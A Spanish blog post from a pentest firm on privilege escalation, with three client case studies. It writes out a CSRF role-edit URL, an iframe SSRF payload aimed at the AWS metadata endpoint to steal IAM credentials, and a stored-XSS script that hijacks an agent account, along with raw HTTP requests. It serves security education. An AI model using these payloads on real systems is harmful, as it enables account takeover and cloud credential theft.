Probablemente en tu organización asignas permisos y roles a los colaboradores según sus actividades. Has asignado roles generales, operativos y algunos administrativos que cuentan con un poco más de poder e información. ¿Qué pasaría si uno de los roles generales descubre una vulnerabilidad que le permite convertirse en administrativo por su cuenta y acceder a recursos confidenciales de la organización?: Esto es lo que se llama una escalada de privilegios.
En ciberseguridad, la escalada de privilegios o elevación de privilegios es una de las amenazas más críticas que enfrentan las organizaciones hoy en día. Este tipo de ataque permite a un ciberdelincuente obtener acceso a niveles más altos de privilegios de los que debería tener inicialmente.
Comprender cómo funcionan estos ataques y cómo podemos prevenirlos, es fundamental para proteger la integridad y la seguridad de los sistemas informáticos. Por eso, en este artículo conocerás dónde y por qué ocurren las escaladas de privilegios, algunos tipos de vulnerabilidades que podrías encontrar en tu tipo de empresa y estrategias efectivas de prevención.
Maneras de escalar privilegios
Existen dos vectores al momento de escalar privilegios en un sistema:
- Escalada vertical: El objetivo del “Malicious user”, es obtener acceso a cuentas con mayores privilegios de los que ya tiene. En este caso, obtener acceso a un usuario admin o un usuario support.
- Escalada horizontal: El objetivo del atacante es obtener acceso a cuentas o sistemas adicionales que tienen el mismo nivel de privilegios pero en diferentes instancias. En este caso, el “Malicious user” obtendría acceso a una cuenta de un usuario que usa la aplicación (Application user).
¿Dónde y por qué ocurren?
Los ataques de escalada de privilegios ocurren típicamente en sistemas mal configurados, donde las políticas de seguridad son débiles o están mal implementadas. Los atacantes aprovechan vulnerabilidades en el software, errores humanos o métodos de autenticación inseguros para llevar a cabo estos ataques. La motivación suele ser obtener acceso a información confidencial, interrumpir servicios críticos o comprometer la integridad de los datos.
Tipos de escaladas de privilegios
Escalada de privilegios en Fintech:
En una aplicación de una empresa descubrimos una vulnerabilidad de impacto crítico. Esta vulnerabilidad permitió modificar los permisos de los roles del sistema pasándole un enlace malicioso a la víctima. Por lo que un atacante podría obtener los permisos de un administrador, logrando comprometer toda la infraestructura y de esta manera realizar un movimiento vertical dado el caso de vulnerar este usuario.
El equipo de AppSec de Hackmetrix identificó que la aplicación presentaba la vulnerabilidad Cross-Site Request Forgery, la cual le permite a un atacante inducir a los usuarios a realizar acciones que no pretenden realizar, en este caso: modificar los permisos de los roles usados en el Backoffice.
Durante las pruebas, se identificó que al modificar los permisos del rol “Cliente”, se podía observar la siguiente solicitud a través de Burp Suite, la cual contaba con una serie de permisos que estaban identificados con números, desde el 1 hasta el 385 y eran enviados en formato URL. El parámetro “add_id” y “remove_id”, hacen referencia a los permisos otorgados o quitados según corresponda.
GET /role/edit/2?add_ids=8&remove_ids=7%2C6%2C[REDACTED]2C340%2C367&name=Cliente HTTP/2
Host: admin.app-vulnerable.com
Cookie: [REDACTED]
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Además, no se usan tokens anti CSRF, por lo cual, se pudo crear una URL maliciosa para que un usuario con el permiso “Rol>Editar” al interactuar con esta, pueda modificar los permisos del rol cliente (cualquier rol que queramos). Lo anterior nos permitió obtener permisos administrativos usando el siguiente payload al enviarlo a un usuario administrativo que haga clic sobre él.
https://admin.app-vulnerable.com/role/edit/2?add_ids=%38%2c[REDACTED]%2c%33%36%37&remove_ids=&name=Cliente1
Una vez que un usuario con “Rol>editar” ha hecho clic sobre el enlace, le otorga todos los permisos administrativos al rol “Cliente”.
Escalada de privilegios en B2B
Se identificó una vulnerabilidad denominada como Server-Side Request Forgery (CVE-2022-35583). Esta vulnerabilidad crítica, se identificó en una empresa que ofrece un servicio de regulación de inventario en tiendas centralizando las funcionalidades en una aplicación Web y Mobile, tras explotar la vulnerabilidad fue posible exfiltrar las credenciales de un usuario almacenadas en la metadata de una instancia EC2 en AWS utilizada por la aplicación, lo que provocó un impacto a la confidencialidad de la información perteneciente a servicios internos de la infraestructura definida en el servicio de AWS Secrets Manager, como lo son usuarios, contraseñas, API KEYs y las credenciales de un usuario con privilegios para listar todos los recursos definidos en el servicio de S3. Como también, la lectura de manera arbitraria de ficheros almacenados en contexto del servidor.
Durante la auditoría, se identificó un campo denominado como “nombre” donde pudimos reemplazar el nombre de la tienda por el siguiente payload
“><iframe src=” http://vpolsfodyi7zf2pskgvq59vomuci1.burpcollaborator.net/” width=”800” height=”1000”></iframe>”
con el objetivo de corroborar si la aplicación interpreta el contenido en HTML.
La solicitud se vería de la siguiente manera:
PUT /api/v1/stores/[ID] HTTP/1.1
Host: api.app-vulnerable.com
Accept: application/json
Accept-Language: es
Accept-Encoding: gzip, deflate
Referer: https://api.app-vulnerable.com/penthma/settings/stores/[ID]/edit
X-[REDACTED]-Hmac: [REDACTED]
X-[REDACTED]-Date: 2023-08-31T20:05:17Z
X-[REDACTED]-Security-Version: v2
Content-Type: application/json; charset=utf-8
Authorization: Bearer [REDACTED]
X-Company-UUID: [REDACTED]
X-App-Version: [ID]
X-Device-Platform: [REDACTED]
Content-Length: 495
Origin: https://api.app-vulnerable.com
Connection: close
Cookie: [REDACTED]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"store":{"name":"\"><iframe src=\"http://vpolsfodyi7zf2pskgvq59vomuci1.burpcollaborator.net/\" width=\"800\" height=\"1000\" ></iframe>","[REDACTED]}}
Debido a que la entrada no está siendo sanitizada, esto provoca la interpretación del contenido HTML.
Se prosiguió con realizar una acción indicando contenido HTML con el fin de generar un documento en formato PDF el cual es recibido por correo electrónico. En la siguiente imagen podemos observar que el contenido fue renderizado correctamente en el PDF:
Una vez identificado lo anterior, confirmamos que el generador PDF es vulnerable a SSRF porque usa la librería wkhtmltopdf y debido a que actualmente se encuentra descontinuada podemos realizar solicitudes que comprometan el servicio AWS en el cual está alojada la aplicación.
Quedando el payload de la siguiente manera:
"\"><iframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" width=\"800\" height=\"1000\" ></iframe>"
Al realizar la acción para obtener el documento en PDF, se obtiene el nombre del rol IAM asociado a la instancia EC2.
Asimismo, también se logra extraer las credenciales denominadas como AccesskeyId, SecretAccesskey y token de sesión que utiliza la instancia de la organización para interactuar con los servicios.
Gracias a esta deficiencia, pudimos identificar que era posible interactuar con la funcionalidad secretmanager.list_secrets del servicio AWS Secrets Manager utilizado para gestionar información, como contraseñas, claves de API, tokens y otros datos confidenciales que se utilizan las aplicaciones y servicios en la nube. Además, se pudo exfiltrar información relacionada a credenciales de autenticación en los servicios PostgreSQL, Redis, Elastic Search y AWS. Como también fue posible listar todos los buckets S3 pertenecientes a la organización sin especificar un token de sesión utilizando las credenciales de AWS_ACCESS_KEY_ID y AWS_SECRET_ACCESS_KEY identificadas en el secret denominado Keys-production
Escalada de Privilegios en B2B2C
Identificamos la posibilidad de inyectar código HTML y código JavaSript a través de un chat; no obstante, debido a la robustez de política CORS implementada, no fue posible exfiltrar los tokens de sesión. Posteriormente se identificó la funcionalidad para “recuperar la contraseña”. Así que procedimos a crear una prueba de concepto y cambiar el correo del usuario agente actual que reciba un código JavaScript malicioso, es decir, a través de un mensaje malicioso que enviamos al agente desde WhatsApp o Telegram.
El payload creado por el equipo de AppSec de Hackmetrix fue el siguiente:
<img src="x" onerror="var xhr = new XMLHttpRequest(); xhr.open('PUT', '/app-portal-login/auth/update-credentials', true); xhr.withCredentials = true; xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({correo: '[email protected]', nombre: 'hack agente myname', telefono: '11111111111', clave: 'Test1234$!'}));"></img>
En la siguiente imagen observamos el correo del agente que será la víctima:
Una vez que hemos estado en la sesión del agente víctima e interactuando con el chat asignado a este, procedimos a enviar el payload malicioso. En el lado izquierdo está el agente y al lado derecho se observa el chat desde WhatsApp.
A través de Burp observamos cómo por detrás cuando se intenta cargar la imagen, se ejecuta la petición maliciosa encargada de cambiar el correo del usuario actual.
Posteriormente, usamos la opción de “recuperar contraseña”, obtenemos un correo electrónico con una contraseña temporal para el nuevo correo e iniciamos sesión con las nuevas credenciales. A continuación su respectiva solicitud y respuesta.
POST /app-portal-login/auth/login HTTP/2
Host: login.app-vulnerable.com
Cookie: [REDACTED]
Content-Length: 50
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
Sec-Ch-Ua-Mobile: ?0
X-Frame-Options: SAMEORIGIN
Content-Type: application/json
Accept: application/json
Ip: [REDACTED]
X-Xss-Protection: 1
Sec-Ch-Ua-Platform: "Linux"
Origin: https://login.app-vulnerable.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://login.app-vulnerable.com/pages/login
Accept-Encoding: gzip, deflate
Accept-Language: es-419,es;q=0.9
{"username":"hack@agente","password":"Test1234!$"}
HTTP/2 201 Created
Date: Mon, 20 Mar 2023 19:26:58 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 793
Access-Control-Allow-Origin: *
Set-Cookie: [REDACTED]
Etag: W/"319-y9l+t4bNcg99sX1ZHi6aGFkza30"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15724800; includeSubDomains
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, PUT, POST, DELETE, PATCH, OPTIONS
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,ip
Access-Control-Max-Age: 1728000
{"user":"hack@agente","access":true,"idUser":null,"idUserApi":null,"username":null,[REDACTED],"access_token":"eyJhbGciOiJIUzUxMiJ9.[REDACTED]"}
Estrategias de Prevención
La prevención es crucial en la protección contra la escalada de privilegios, por eso es necesario implementar buenas prácticas proactivas y reactivas que aseguren la integridad, confidencialidad y disponibilidad de los sistemas y datos. Para evitar los ataques que permiten la escalada de privilegios, implementa las siguientes estrategias:
- Principio de menor privilegio: Otorgar sólo los privilegios mínimos necesarios para que los usuarios realicen sus funciones.
- Parcheo y actualización: Mantener todos los sistemas y software actualizados con los últimos parches de seguridad.
- Seguridad en capas: Utilizar firewalls, sistemas de detección de intrusiones (IDS) y otras medidas de seguridad para proteger la red y los sistemas.
- Educación y concienciación: Capacitar a los empleados y usuarios sobre prácticas seguras de seguridad informática y cómo reconocer intentos de phishing u otros métodos de ataques.
Conclusión
La escalada de privilegios es una amenaza significativa en el panorama de ciberseguridad actual. Con una comprensión clara de cómo ocurren estos ataques y las estrategias adecuadas para prevenirlos, las organizaciones pueden reducir considerablemente su exposición a riesgos cibernéticos. Al implementar políticas de seguridad robustas, mantenerse al día con las mejores prácticas y educar a los empleados, las empresas pueden proteger sus activos críticos y fortalecer su postura de seguridad digital.
La buena noticia, es que no están solos en este panorama, ya que con Hackmetrix podrás implementar la norma ISO 27001 sin ser un experto en ciberseguridad y llevar a acabo pruebas de penetración . Lo cual te permitirá tener una estructura sólida para gestionar la seguridad de la información y asegurar que tu organización esté preparada para detectar, prevenir y responder a intentos de escalada de privilegios.
Otras vulnerabilidades que te gustaría conocer y prevenir:
Escrito por: Juan David Fernández
Appsec Engineer en Hackmetrix